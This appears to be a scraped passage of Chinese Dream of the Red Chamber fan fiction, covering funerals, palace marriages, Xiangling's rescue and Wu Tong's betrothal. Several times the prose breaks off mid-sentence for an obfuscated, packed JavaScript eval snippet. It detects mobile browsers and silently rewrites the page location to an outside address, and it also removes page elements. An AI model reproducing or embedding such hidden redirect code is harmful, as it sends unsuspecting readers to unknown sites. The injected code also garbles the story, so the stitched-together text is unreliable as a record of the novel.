虽然是隔房隔了好几代的舅舅,邬桐三人如今顶着林家人的身份,还是半夜起来去奔丧。在灵堂上了一炷香,就被下人们带到了贾母房中。 贾母是长辈,不需要出席晚辈的葬礼,只不住地唏嘘。见林黛玉眼眶红红的,责怪下人道:“好端端地,去林家报的哪门子丧。黛玉身子不好,再折腾病了。” “外祖母您别伤心。”黛玉忙走过去拉住贾母的手,轻轻地揉搓。 贾母叹口气:“我没事。就是白发人送黑发人,怪难受的。敬小子没福,好好地考中了进士,官没当几年就去做了道士,如今只当是吃了仙丹飞升了吧。” 王熙凤擦擦眼泪,顺着话儿道:“可不是,东府太爷这是得到成仙了,我们贾家以后有神仙庇佑,百邪不侵。” “就是这个话。还是凤丫头会说话。”贾母招手叫鸳鸯,“去告诉珍哥儿,就说他爹是去做神仙去了,不要太悲伤,免得让他爹死了也牵肠挂肚的,影响敬小子飞升。” 鸳鸯原样学了一遍,贾母点点头,她这才躬身退出去传话。 为显隆重,贾珍原想为父亲停灵七七四十九日,奈何盛夏时节,尸身不宜久放,且贾敬死状蹊跷,贾珍不敢任性,如今又得了贾母的这个吩咐,只得草草停灵七日,请了一百零八个高僧拜大悲忏,日日超度亡魂。另设了灵坛,请了九十九位全真道士,也是天天打解冤洗业醮。 贾家族人日日拜谒,柳琼当然不例外,整整跪了七日,膝盖都要断了,才终于等到了发丧。 出殡那日,宁荣街上彩棚高搭,设席张筵,四王八公皆设路祭遥拜。彩扎、花车、杂耍百耍,浩浩荡荡,一连摆了三四里远。 远处的高楼上,忠顺王冷哼一声,看着底下哭丧的众人,如看一群即将下地狱的恶鬼,眼底满是厌恶。 - 邬桐作为林家人,只需第一日去上香,最后一日出席,就算是全了礼仪。每次到贾府,她都会仔细观察秦可卿,见她礼仪规范全无错处,就算外面的臂膀被斩断,也半点不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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见周瑞家的不说实话,王夫人脸色彻底冷了下来,挥挥手,让人带下去。她有四个陪房,周瑞家的并不是不可取代的。 “夫人,冤枉......”周瑞家的还待要喊,就被仆妇们捂住嘴拖出去了。 “来人。”王夫人皱皱眉,扬声道,“叫郑华家的过来。” 御书房,永兴帝看着面前的密折,冷声道:“小聪明,偏还心狠手辣。”想起这几日贾元春在皇后面前的试探,翻开另一本密折。 ‘贾迎春,行二,无力钳制下人,喜下棋和做针线。’ 寥寥数语,永兴帝想着侄子颜儿的性子。大哥在世时,颜儿作为嫡子,自然是千娇百宠。虽太子妃早亡,然颜儿从小性情敦厚,可能是太子妃生他时有些不好,脑子不大灵光。太子其他子嗣各种针对陷害,颜儿不知是看不懂还是不在乎,总是一笑了之。 父皇之所以敕封颜儿,大概率也是看在这个不灵光上。不灵光,才不会有野心,才能守着郡王府,安安静静地过一生。 “让皇后下懿旨,赐贾迎春为暇郡王妃,择日送进皇宫,在皇后身边备嫁。另通知贾家,为贾迎春准备嫁妆。皇后亲自教养,嫁妆可不能减薄了。” 19.香菱 永兴帝的声音凉飕飕的,来福退出去后,抚了抚胳膊,匆匆去长春宫传话。 “皇上。”一道没甚起伏的声音,自暗处传来,“钱甲传来消息,昨日贾蔷和秦可卿在天香楼丧命,贾珍就在现场,偷听到了两人的谈话,将贾蔷的尸首带离后才各处报丧。” 永兴帝摆摆手,前朝的势力已经剿灭的差不多了,秦可卿死不死的不重要了。贾家的甜枣,给元春还是迎春有什么区别?甜枣而已,给谁不是给。反正甄家过后,就是这些四王八公了,如今给的甜枣,听话还就罢了。有野心的,迟早都要吐出来。 秦可卿是比邬桐她们要矮一辈儿的,她和林黛玉,还有邬杨邬柏只上了香也就罢了。如今林如海回京的日子近了,他们且顾不得贾家呢。 秦可卿的丧事还是如书中一般隆重,只是贾珍像是受到了惊惧般,丧事过后竟发起了高热,醒来后做的第一件事,却是给出了五服的族人分宗。单开一宗,算是脱离宁荣二府单独过日子。 柳琼没什么意见,奈何其他没钱没势的族人不依。可双拳难敌四手,其他五服内的亲眷自是乐得人越少越好,以后打着娘娘旗号的人越少,他们能办的事才更多呢。因此无论中间如何曲折,柳琼终是带着一家子,彻彻底底脱离了宁荣二府。 攸乎几日过去,林如海终于从江南回来。比预计的日子晚了近三个月,实在是因为近日倭寇频繁扰边,为了江南安定,永兴帝特意让林如海留下处理完再回来。 林家正门大开,林如海看着站在门口恭迎的四个孩子,口边的“胡闹”愣是没说出口。无他,爱女黛玉看着竟康健许多。 “爹。”林黛玉眼泪汪汪的,林如海从轿子上下来,一把拉住黛玉的手,对着邬杨几人道:“走,回家说话。” 邬桐三人对视一眼,知道此时不跟着,黛玉肯定起疑,只得一起进了书房。 等下人上好茶水点心,林如海才开口:“爹给你们交个底,这次回来,爹最多再做两年的官,就得退了。自古一朝天子一朝臣,爹是隆昌帝的旧人,当今提拔爹爹,是看在隆昌帝的面子上。好在爹爹有些积攒,就算是不为官,也能养得起家。这个你们不用操心。” 林黛玉擦擦眼泪,见哥哥姐姐都不说话,只得开口道:“爹爹说的哪里话,做官与否都是您的事,您做主就好。女儿只愿爹爹保重身体,日后不做官了,女儿陪爹爹去四处游历,做个富家翁。” “好。”林如海摸了下黛玉的头,向邬桐投去感激的目光。近两年没见,黛玉的心性开阔许多。显然不是因为寄居贾家,而是有了三个兄弟姐妹,让黛玉有了底气。 “妹妹要四处游历,恐怕爹爹还舍不得呢。妹妹自幼身子不好,莫要再哭了。”邬桐适时开口,“爹爹一路上累了吧?我去厨房看看,给爹准备的吃食可好了?妹妹陪着爹爹说话吧。”说着对邬杨和邬柏使了个颜色,转身离开。 邬杨和邬柏以读书为由,也退了出去。屋里只剩林如海和林黛玉两人。林黛玉有些奇怪,没等她细想,林如海就问起了近一年在贾家的情况。林黛玉知道爹爹担心她,只捡了些开心的事,细细说与林如海听。 听到贾家又送了一个姑娘进宫,林如海皱眉,心底隐隐不安。 林家有了主心骨,邬桐不再操心家里的事,想着如何再赚些银子。瓷器铺、首饰铺子、成衣铺子都接连盈利,可还远远不够。这几日忙着赏花宴和贾敬秦可卿的丧事,很久没画图了,得再打造一波爆款才行。柳琼家底薄,日后当官少不得交际往来,她嫁过去又不是去吃苦的。 邬桐画着图,总觉得忽略了什么。等美人图画好,她才想起来,贾敬和秦可卿的丧事上,没见到迎春和薛宝钗! 迎春是被送进了宫,那薛宝钗,岂不是也入宫了?可书里......邬桐摇摇头,算了,不去想书了。如今一切都变了,薛宝钗都十三岁了吧,如果这是她的选择,那就应该尊重。 以前总觉得这些人都是书里的人物,是需要她拯救的。可想想上次的教训,她认为后宫不是人去的地方,可在有些人的眼里,后宫代表着权利,是女人也能光宗耀祖的‘官场’。 长春宫,薛宝钗穿着□□绿的宫妆,随着一溜儿秀女跪在大殿内。上首,贾元春站在皇后身后,看着一个个比她鲜活的面孔,勉强挤出笑容。 母亲那里出了差错,让她想辩解都难。她之前想明白了,皇上是想用她,用贾家,过不了多久就会封她为妃的。可偏偏出了差错,如今贾史王薛里又进来了一个薛家的姑娘,用她还是用薛宝钗,差别大吗? 皇上可能压根就不记得她长什么样!她有些后悔撺掇皇后,让迎春嫁给暇郡王了。她以为以薛家的出身,薛宝钗是万万走不到最后的。 迎春她有自信能辖制,可宝钗,却是个最会随分从时的。且一进来就是皇后身边的女官,少走了多少弯路。 贾元春垂下眼睑,在心里安慰自己,不能这么想,薛姨妈跟母亲是一母同胞的姐妹,不论是她还是宝钗受宠,荣国府都还有二房的位置。可要是迎春,就不一定了。 皇宫外,宁荣街上的茶楼,薛蟠笑得愈发畅快。贾珍和贾蓉父子、贾琏、冯紫英、卫若兰等王孙公子都跟薛蟠称兄道弟,再没了往日的轻慢。 “薛叔,以后您可就是国舅爷了,发达了可不要忘了提携外甥啊。外甥这里先干为敬,怎么样?”贾蓉举着杯子,也不管薛蟠如何反应,一杯酒下肚,还把酒杯翻过来,让众人看一圈儿,“薛叔,您随意。” 周围的淸倌儿、女妓纷纷拍手叫好,让柳琼想迈步的腿顿了顿。可惜迟了,小二早推开门,柳琼打点起精神,扬声道:“薛兄,小弟在下面吃茶,听到您的声音,特意上来恭喜一声。” 薛蟠看着来人,想了半日才哈哈笑着起身:“琼兄弟啊,进来喝两盅。”上次的扑克牌可是让他赚了近两千两银子,就算是国舅也需要财神爷啊。 恭敬不如从命,柳琼推辞不过,在一处角落坐了下来。这里没有外人伺候,算是难得的清净地儿了。卫若兰举杯,柳琼笑笑陪了一杯。 上首,贾珍、贾蓉、薛蟠、贾琏几人闹得凶,柳琼只一味地吃菜。他今日来,是想着能否救一救香菱的。昨儿桐儿不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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话音刚落,薛姨妈哽咽的声音传来:“我的儿,难为你想着他。当初为了这个官司,麻烦了他姨父多少。如今果能这样断了,自是再好不过的。”官司七拐八拐跟贾家有了关系,以后断不会出问题的。 “那香菱......在下认为,这个人最好不要再留在薛家了。小弟不才,愿意认她做义妹,以后发嫁都由我来负责,如何?”柳琼继续忽悠,“不是我狠心拆鸳鸯,是这么个人在薛家,让大家时刻想着薛兄的人命官司,实在是不好。” 薛姨妈擦擦眼泪,点头道:“是啊,琼儿说得对。冤孽,你就是再不忍心,也丢开手吧。实在是放心不下,我们就出些银子,给香菱出嫁做嫁妆,如何?” 薛蟠跺跺脚,咬牙道:“听娘的。” 香菱拿着五千两银票和身契,眼泪汪汪地随着柳琼出了薛家。到家后,柳琼单独跟香菱谈了谈,告诉了她原委。 “不知道你还记不记得父母?如今你已经是自由身了,如果还记得,我就派人送你回去。” 香菱被拐时才三岁,如何记得父母的事。她只摇摇头,柳琼无法,他虽然知道,可如何告诉呢?少不得要派人去趟姑苏,将甄士隐夫妇接过来。 “你也听到了,我认你做妹妹,那五千两是你日后出嫁的嫁妆银子,你收好。等我慢慢寻摸,说不定能帮你找到父母呢。”柳琼安慰道,“我有个妹妹叫四姐儿,你在家可以多跟四姐儿玩玩。” 说完柳琼起身叫四姐儿,让她在家多跟姐姐玩。还没说一会儿话,外面乱哄哄地热闹起来,他开外门去瞧,就见贾芸的娘五婶子从门前经过,忙忙问道:“嫂子,这是怎么了?怎么这么热闹?” 20.两年 贾琼是玉字辈儿,跟五婶子的丈夫一个辈分,因此尽管五婶子大了贾琼近二十岁,贾琼称呼一声嫂子是合适的。 “哎呦,族里出了个王妃。”五婶子一拍手,笑得腰都直不起来,“真真是了不得。虽说是暇郡王,可那也是郡王啊。还是前太子的嫡子,大家要去府里给老祖宗磕头呢。你娘呢?让你娘收拾收拾,我们一起过去。” 刘氏急忙从屋里出来,理了理衣襟,抬头道:“不用收拾,这就走吧。芸儿最近在忙什么?怎么不见过来玩?” 贾芸是个乖巧懂事的,虽然差着辈分,刘氏也愿意儿子和贾芸多亲近,而不是和贾瑞这种内里龌龊的人来往。儿子这一段儿虽说改了许多,每日都会读书,但也还是日日外出,不知道是不是又出去鬼混了。 接到旨意后,王夫人强打起精神,派郑华家的在外面迎客,这种大事,阖族都会进来磕头,有些族人虽过得不景气,但荣国公府对外一直是行善积德的人家,万不会慢待上门拜访的族人。 刘氏不是第一次进荣国府,还是被府里的气派惊得眼如铜铃,咽了咽唾沫,这才小声问五婶子:“怎么不是周瑞家的领路?” “噤声。”五婶子急忙开口,左右看看,见没人听见,才小声道:“我的婶子哎,你整日在家都不出门打听打听,周瑞因为贪污太太庄子上的出息,一家子都被发卖了。听说抄出来的银子,有一万多两呢。” 刘氏忙捂住嘴,心里我的个怪怪乱叫一通。一万两,太太是有多糊涂,现在才发现。 是啊,王夫人心里也惊得不行,虽说周瑞家的忠心,可这也太无法无天了。她平时用个两三千两还到处卖古董字画呢,周瑞一家就能抄出一万多两现银,那赖嬷嬷家...... 王夫人打住疯狂往心里扎根的念头,在外室陪着过来磕头的族人女眷说笑。 内室里,邬桐带着林黛玉过来,直接被领到了贾母的屋子里。她也不想来,可这么大的事,全京城看着,她们作为小辈,怎么能不去恭喜一声? 因为接旨,贾母超品诰命服全套都穿戴整齐,头上的钗环不会因为贾母年纪大了就轻一星半点。贾母此时累的歪在软榻上歇脚,见外孙女们来了,只笑着让坐。 “外祖母,爹爹今日要上朝,就没来。等过几日休沐了就来拜访您。”林黛玉坐在贾母下首,挥起美人拳给贾母捶腿。 贾母欣慰地笑笑:“不值什么,让你父亲只管忙。这几日家里事多,我也没工夫招待他。一会儿族人们还要进来磕头,让她们回去只不肯,非要进来磕头。我是真不耐烦这个,累得慌。凤丫头,你再去说说,就说我这个老太太累了,知道大家的心意,让都回吧。” 王熙凤拍着手,不等贾母说完就摇头晃脑地叹气:“老祖宗呦,刚才我去说了一回,让族人们好一通埋怨。说什么我霸着老太太不撒手,她们也想沾沾老祖宗的福气呢,让我松松手。你说,我这不是平白做了恶人?您可饶了我吧。我啊,是再不做这个传话的了。要我说,老太太您就是太重规矩了,如今您是老祖宗,就是歪着受礼,谁又敢说什么?非要正襟危坐的。不怪您调理出来的人,个个都成了王妃皇妃呢,根子在这儿呢。个个都跟您一样,知理。” 贾母笑得前仰后合,指着王熙凤对众人道:“你们瞧瞧她这嘴,尽会拿我说笑。再听听那话,羞也不羞,还歪着受礼,我还没那么大脸。族人们好容易来一趟,怎么能坐没坐相?不去说就不去说吧,编排一大通话。” 邢夫人作为迎春的嫡母,也是一身的诰命服,喜气洋洋的。见儿媳妇只顾着恭维贾母,将自己这个继婆婆放在一边只不搭理,脸上的神色就有些不好看,她咳嗽一声,开口道:“我们迎春啊,也是个有福的。” 说着瞥一眼正掀帘子进来的妯娌王夫人,高声道:“这确定的福气,才是真的看得见摸得着的福气。那在空中飘着的,不一定就飞了呢,弟妹你说是不是这个道理?” 王夫人运了运气,不跟这个不着四六的妯娌计较,躬身回复贾母:“族人们都在外面等着了,娘,叫进来吗?” “叫进来吧。”贾母握住黛玉的手,起身坐正了,顺便瞪了眼不会说话的大儿媳。 邢夫人心内哼一声,也挺直了腰板,等着接受族人们的夸奖。 柳琼母亲刘氏辈分高,站在前排,随着众人进入贾母的正房。 一进来,只觉香气扑鼻,让人身心都觉畅快。眯眼细看时,发现屋里竟是比屋外还亮堂。 大红的寿喜烛烧着,满头白发的贾母如老神仙一般,穿着绣满仙鹤、孔雀、祥云图案的诰命服,真是比画中的王母娘娘还气派。 特别是后面站着的几个丫头,插金带银的,那绸缎比刘氏身上的还鲜亮。刘氏拽拽衣角,跟着众人跪下,高喊:“恭喜老祖宗,贺喜老祖宗。” 贾母忙让大丫鬟鸳鸯去扶人,笑道:“都是族人,我原说不用跪的,特意让凤丫头去跟你们说,你们只不听。好了,都坐吧,咱们说说话儿。” 一水儿的没留头的小丫头搬着绣墩儿,放下后又都屏息退下。刘氏随着众人落座。她是个嘴笨的,只听贾芹的娘周氏率先接话道:“老祖宗是有福气的,咱们磕头也是来沾沾福气,怎么能免了呢。老祖宗您要是疼我们,准许我们日日进来磕头才好呢。” 王熙凤抬起眼皮儿,看了眼接话的妇人,是个会说话的。只听贾母声音里的笑意愈发明显:“你是哪一家的?” “我是三房的,儿子叫贾芹。”周氏忙回答道,得意之情溢于言表。 邬桐端起茶杯喝茶,听着这群妇人七嘴八舌的奉承贾母。她知道这群人里肯定有柳琼的母亲,只是她没见过真人,只得暗暗观察。 见其他人都报了名姓,刘氏吭吭哧哧半天,小声道:“我......我有两个儿子,大的叫贾琼,小的叫贾瑾,还有一个女儿叫四姐儿。”不经意抬眼,瞥见贾母下首的林黛玉,咦了一声,高声问道,“四姐儿,你怎地突然长这么大了?” 众人先是一愣,接着哄堂大笑起来。贾母搂着黛玉,对着王熙凤道:“可见那四姐儿是个长得好的,竟然跟黛玉像。哪天叫进来瞧瞧,咱们都看看,是不是真的像。” 刘氏通红了脸,不知如何作答,还是贾芸的娘五婶子回道:“小的见过四姐儿,不说八成像吧,四五分是有的。” 王熙凤拍着巴掌,看了几眼局促的刘氏,笑着打趣:“林妹妹这般绝色,就是四五分只怕也是个美人儿了。那日我们必是要来看的。” 黛玉也不生气,凑趣儿道:“要是真像,我就认四姐儿做妹妹。” 刘氏见林家人和气,这才有了笑模样。 邬桐见王熙凤蹦跶地欢,忍不住开口提醒:“你就没想过,好端端地迎春怎么就指给了暇郡王?” 王熙凤瞥了邬桐一眼,语气有些不屑:“贾家已经有一个娘娘了,还能出两个不成?迎春指给暇郡王,再是合理不过了。” “你就没想过,是元春不想你们大房出头,使了手段?”邬桐见贾母忙着和族人说笑,低声道,“本来迎春做了滕女,西府里大房和二房就打个平手了。可迎春做了暇郡王妃就不一样了,以后大房还不是要扒着二房过日子?银子也得紧着二房花销吧?” 王熙凤一愣,有些狐疑地看着邬桐,不明白她是在挑拨,还是有什么其他的目的。 邬桐撇撇嘴:“我能有什么目的。只是看你在府里殚精竭虑的,提醒提醒你罢了,别最后辛苦一辈子,为别人做了嫁衣裳。西府可是要交到你和琏二哥哥手里的,银子都花完了,你们以后靠什么过活?” 内室这边说着话,外院儿,柳琼跟着众族人贺喜过就出去了。他得去找表哥刘衡,看看怎么派人去姑苏,把甄士隐一家接过来。 香菱既然找到了,为了保险,还是送远些好。就算人命官司沉渣再起,香菱一家只管逃去天南海北,任谁也找不到才好。 刘衡靠着上次柳琼从江南带过来的扇子、瓷器等,在花街柳巷很是出了一回风头。都知道他能找来便宜又好用的真家伙,这不,纷纷求上门要货。刘衡就想请一次假,跟柳琼去一趟江南摸摸道儿。见柳琼找过来,正好一拍即合。 “这样,咱们一起去趟江南,不就是找人嘛,顺手的事儿。顺路再买些扇子、古董的,以后这生意咱们就五五开,如何?”刘衡也不客气,直言道,“不是哥哥要的多,虽然这事是你开的头,但是后期买货、运货都是我派人做,给你一半的份子,已经是多的了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15169641|163788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “看大哥说的,我是那斤斤计较的人嘛。”柳琼知道刘衡说的是实话。这年头做生意,耗费最大的就是中间的运输。如今他什么都不做,只在中间牵牵线,就能拿一半的份子,已经很知足了。两人商议已定,柳琼又托人给林家递了信儿,这才启程。 等甄士隐夫妻带着女儿远走他乡,邬桐忙着画图赚钱时,攸乎两载光阴已过。 这两年,发生了很多事。 首先,最令人吃惊的是,江南甄家倒了。 世人皆知,甄家是太上皇最信任的臣子。如今皇上对甄家下手,是不是对老臣们不满?朝廷乱了一阵儿,但随即,贾家,迎春带着丰厚的嫁妆进了暇郡王府。今年年初生了个儿子,暇郡王看得跟眼珠子似的,太上皇也时常派宫人去探视。 贾元春还是个女官。虽也承宠过两回,无奈并没有名分。 薛宝钗却真真正正成了贵人,虽还未封妃,在后宫也算得宠了。只是不知为何,一直没孕。薛家在外面四处寻访神医和医女,想着带进宫里给宝钗调养身子。 一系列组合拳下来,大棒加甜枣,勋贵内部就不统一了。忙着窝里斗,再不去找皇上的茬儿。 甄家出事后,皇上寻了个由头,抄了粤海邬家,安插了心腹之人镇守南海,邬桐三人彻底成了林家人。 邬杨和邬柏先还有些怅惘。先时只以为是权宜之计,如今要彻底更名换姓,多少有些抗拒。可旋即想到在家时,父亲的无情和族人的漠视,特别是查到了婉姨娘沟通贼匪害人的证据,以及父亲的隐瞒,心里那半丝对邬家的留恋消去,安安心心做起了林家人。 邬杨中了二榜进士,凭借林如海的功劳,顺利进了翰林院,做了从七品编修。林如海做主,定了前御史台家的嫡女,去年成的亲。嫂子云氏温婉贤淑,如今已有了五个月的身子。邬柏考了秀才,但名次不好,准备过几年再考举人。 林如海顺利致仕,却时常被太上皇叫去皇庄,下棋聊天的,君臣相得,林家府前的车马从来没停过。黛玉爱上了出府游玩,时不时就要去京郊的各大寺庙,邬桐也由着她,每次都会在寺庙下的小镇上徘徊数日。 而柳琼顺利考中了秀才,正准备今年的举人试呢。弟弟贾瑾也正准备参加今年的秀才试。刘衡花街的生意进入正轨,这两年也开起了店铺,正正经经卖起了古董。柳琼凭借在生意上的入股,近些年所获颇丰,今年刚花三千两在东城买了一座三进半的大宅子。 之所以是三进半,是因为最后一进是个花园子,不能住人。这不,还没拾掇利索,就登了林家的门,亲自求亲。 邬桐在书房等着,见书桌后的林如海眼里没有半点儿波澜,就知道两人这两年的偷摸传递被发现了端倪。 林如海叹气,虽说不是亲女儿,但这两年相处,也知道邬桐的脾气,他只问了一句:“你可是自愿?” 邬桐红着眼眶点头,知道她给林如海出了个难题。林如海虽说卸任了,但曾经也是一品大员,女儿嫁给一个秀才,虽然姓贾吧,但只是个普通族人。在外人看来,就是林如海苛待庶女,给庶女定了个不好的人家。 “不用担心。”林如海拍拍邬桐的肩膀,笑着说,“对外就说贾琼是我林如海的弟子,师父将爱女嫁给爱徒,在文人墨客中也是一段佳话。” 柳琼一直端坐在交椅上听着,闻言忙跪下磕头拜师:“小子拜见老师。” 林如海哼一声:“你倒是会顺杆爬。没有拜师礼,没有敬茶,我可是不认的。” 柳琼侧身端起茶几上的热茶,膝行着将茶奉给林如海。林如海这才接了:“起来吧。定亲的流程可不能少,你母亲那里你能做主?” “能。”柳琼的头点地不带半丝犹豫,“我娘这两年日子顺心,什么事都听我的。而且娘对桐儿印象很好,一定会同意的。” 那日给贾母磕头,贾母说见四姐儿的话不是玩笑,四姐儿进贾府那日,虽没入贾母的眼,但黛玉却上了心,拉着说了好一会子话。出府后也时常送些玩意儿过去,到寺庙游玩时也经常带着。四姐儿也喜欢黛玉,经常说林家的好话,刘氏时不时听着,自是对林家印象极好。 “回去吧,六礼一样都不能少,桐儿及笄后才可成亲,知道吗?” 21.成亲 “妹妹,这是一万两银票,麻烦帮着送给大丫头。哎,大丫头命苦,麻烦宝丫头好歹看顾着些。”王夫人将一个小木匣推给薛姨妈,陪笑道。 时移世易,往年,薛姨妈带着一大家子借住国公府,时时看人脸色。如今女儿一朝得势,姐姐立马靠了过来。薛姨妈心内冷笑,面上却嗔怪道:“姐姐这是做什么,好歹在国公府住过大半年的,这点儿情谊宝丫头还是有的。只是姐姐也知道,你这一万两,能有两千两到了大丫头手里,都是老天爷保佑了。那上下打点的太监执事可不少。” “那是自然,妹妹只管打点就是。”王夫人苦笑。这两年,为了让宫里的元春能有钱使,她又寻错处发落了几个奴才。可每次银子还没焐热,元春那里就派人传话要银子,老爷又时常要办文会诗会的,清客也越养越多,如今家里哪里还有那么些银子使。 从薛家出来,王夫人心里发狠,如今能做文章的,只有探春和惜春的婚事,以及赖家了。小管事哪里有油水,赖家才是最大的蛀虫。 这边王夫人算计着要抄赖家,林家却忙着准备邬桐的及笄礼和嫁妆。那日求亲后,柳琼着急忙慌地请了官媒登门,纳彩、问名、纳吉一套下来,亲事就算是定了。 及笄礼在即,之后的流程得为及笄礼让路。作为致仕的一品大员子女,林如海特意请了忠顺王妃做正宾,黛玉做赞礼,赞者特意选了惜春,探春观礼。贾家作为外祖家,怎么也得有人参加仪式的,而探春是庶出,最合适的就是惜春了。 邬桐还特意邀请了柳琼的妹妹四姐儿观礼,小丫头也有八岁了,虽还是个孩童模样,却一看就是个美人胚子。 王熙凤不请自来,等及笄礼结束后,拉着邬桐到一侧,小声道:“我今日做了恶客,是有事找你,好歹在府里住过一段儿,救救探春和惜春两个吧。太太想把她们嫁给商户呢,竟是谁出的银子多就嫁谁,你说这可如何使得。” 邬桐有些吃惊,开口道:“这怎么话说的,她俩好歹是国公府的小姐,怎么会嫁商户?” 王熙凤叹口气,脸色有些难看。她也有自己的私心,探春和惜春好歹是国公府上一辈儿的小姐,要是嫁了商户,她女儿可怎么办?因此她才是比谁都着急呢。 而且迎春的事到底让她存了疑心,这两年王熙凤越看王夫人的行事,越觉心凉。虽还管着事儿,却不再像之前那么上心。 兼贾琏在外面听到风声,贾蔷死的不明不白,贾珍又闹腾着分宗,他虽然瞧不明白,但也不敢再四处蹦跶。两口子竟是渐渐龟缩,不想管事了一般。 “这几年家里的银子都送进了宫里。太太和老太太着了魔,认定了娘娘将来有大出息。可宫里是那么好送银子的?上上下下地打点,一万两进去,能有三千两到娘娘的手里就谢天谢地了。如今没地方弄银子,太太这才想了这么个主意。” 这是不想放手啊。花了那么多进去,没有个结果,谁都不甘心。邬桐想了想,沉吟道:“探春那里,还得赵姨娘出马。你别急,赵姨娘虽然上不了台面,但好歹是探春的亲娘,就算是为了将来有人照应环儿,也断不会害她。我帮着在外面打探打探,找几个靠谱的商户,怎么做就得看赵姨娘的了。不过你也知道,我毕竟是外姓人,没办法直接让太太改变主意的。你也可以找找迎春,她如今是暇郡王妃,又和探春惜春一起长大,情份自是我不能比的,多少能帮着说说话。” “迎春那里......我找时间去看看。太上皇那边,林大人......能不能给娘娘说些好话?”王熙凤犹豫道。 “糊涂,哪有公公管儿媳妇的事的,而且说难听点,元春现在连妾室都算不上,怎么管。”邬桐瞧王熙凤几眼,不知道她今日是来为二春说话的,还是为元春做说客的。 王熙凤尴尬地笑笑,不再多言。就是她,不也希望娘娘能真受宠吗?虽然她是大房的,迎春这个暇郡王妃的光也能沾,可那继婆婆的气,她还真不想受。 毕竟是书里难得的女强人,邬桐沉思片刻,低声耳语道:“要是缺钱,赖家你们想想办法。我就不信,原来太太发作那么多管事,你就没想法?那些小耗子加起来,恐怕都没有赖家这个大硕鼠肥。就是探春惜春的嫁妆加起来,只怕也没有抄赖家来的钱多。” 王熙凤唬了一跳,犹自不敢置信:“赖家真那般豪富?” 邬桐白眼儿翻她:“你以为呢?那花园子,比你家的也不差多少了。你们是贵人,贵脚不踏贱地,可多少贾家族人都去过的,你稍微一打听就知道了。现在外面都传遍了,说是荣国公府里二百两的差事,在外面五十两就能办,其他一百五十两可都是管事的。你想想这些年赖家办过多少事。当家这么多年,这点账算不出来?你和琏二哥哥合计合计,抄赖家少不了你们的好处。” 王熙凤捂着胸口,眼睛越来越亮,最后干脆一甩帕子,扬声道:“你就瞧好吧,我走了。”说完急匆匆地离开,不见半分刚才的尴尬。 邬桐摇头失笑,王熙凤就是王熙凤,永远风风火火。 及笄礼后,柳琼顺利考中了举人,之后下聘礼、订婚期,忙忙碌碌地,不出一年,成亲的日子就到眼跟前儿了。 出嫁前,林如海特意将几个孩子聚在一起,指着嫁妆单子道:“桐姐儿是林家长女,嫁妆在出生时就备着了,嫁妆单子桐姐儿拿去看看,有什么缺的只管让林管家去买,他那里我放了一万两银子,专管这个事。” 虽入了林家的门,邬桐没想到,林如海准备的嫁妆如此丰厚。江南一千亩的大庄子五个,京郊五百亩的小庄子两个,另有通州的瓷器铺子和金银首饰铺子,字画古董瓷器无数,压箱底的银子两万两,就连马桶和挖耳勺都有。这两个有什么特别的呢?因为木头珍贵,是紫檀的。真是,怪道总是说富过三代才能出贵族。 黛玉是见过迎春出嫁的嫁妆的,永兴帝都那么暗示了,贾家也没给迎春陪嫁多少。看着丰厚,八十八抬,要论实惠,还是邬桐的嫁妆更实惠。她不住地点头,还给邬桐添妆:“我那里的青花汝窑笔洗,姐姐是极喜欢的,送给姐姐添妆吧。” 私下里,林如海和三人是这么说的:“别怪嫁妆减薄,黛玉是我唯一的骨血,大头自是要给黛玉的......” 邬杨见林如海说得郑重,急忙道:“爹,我们三人虽姓林,但事情如何我们知道。我虽没什么本事,养家还是能的。当初多亏爹爹护持......” “哥。”邬桐笑着插话,再说下去就伤感情了,“爹,您放心,我们一辈子都姓林。黛玉妹妹我们会护着的,这个您不用多心。” 林如海再看看眼前的三人,当初突然出现在他面前,脸庞还是稚嫩的,镇定中多少带着些惶恐。他因着先帝,护了他们三年。如今出落成大小伙子大姑娘了,也处出了感情,不觉红了眼眶,真的有了嫁女儿的心酸:“嫁过去了要好好的,人是你自己选的,要知道珍惜。不过要是他给你气受了,只管回来,他虽是女婿,也还是我徒弟呢。女婿不好多管,徒弟可得听话,在婆家不用小心翼翼,明白吗?” 邬桐一个劲儿点头,好不容易送走了突然多愁善感起来的林如海。等只剩兄妹三人了,邬杨才掏出一个小木匣,递给邬桐:“这是五千两银子,不多,哥这两年写了两本应举的书,就得了这么些银子,不放到嫁妆里了,你悄悄地收起来,以后有什么急事银子不凑手了,再拿出来用。” 知道这是做哥哥的一份心意,邬桐也没推辞,刚要说两句感谢的话,一旁的邬柏脸有些红,从袖子里掏出一对儿金钗,不好意思地道:“姐,我没什么钱。这是我用月钱打的,你收着。” 又是不能推的,不定省了多长时间才得的,邬桐心里沉甸甸的。末世从没体验过的亲情,这辈子都有了,老天待她和柳琼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15176127|163788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不薄。 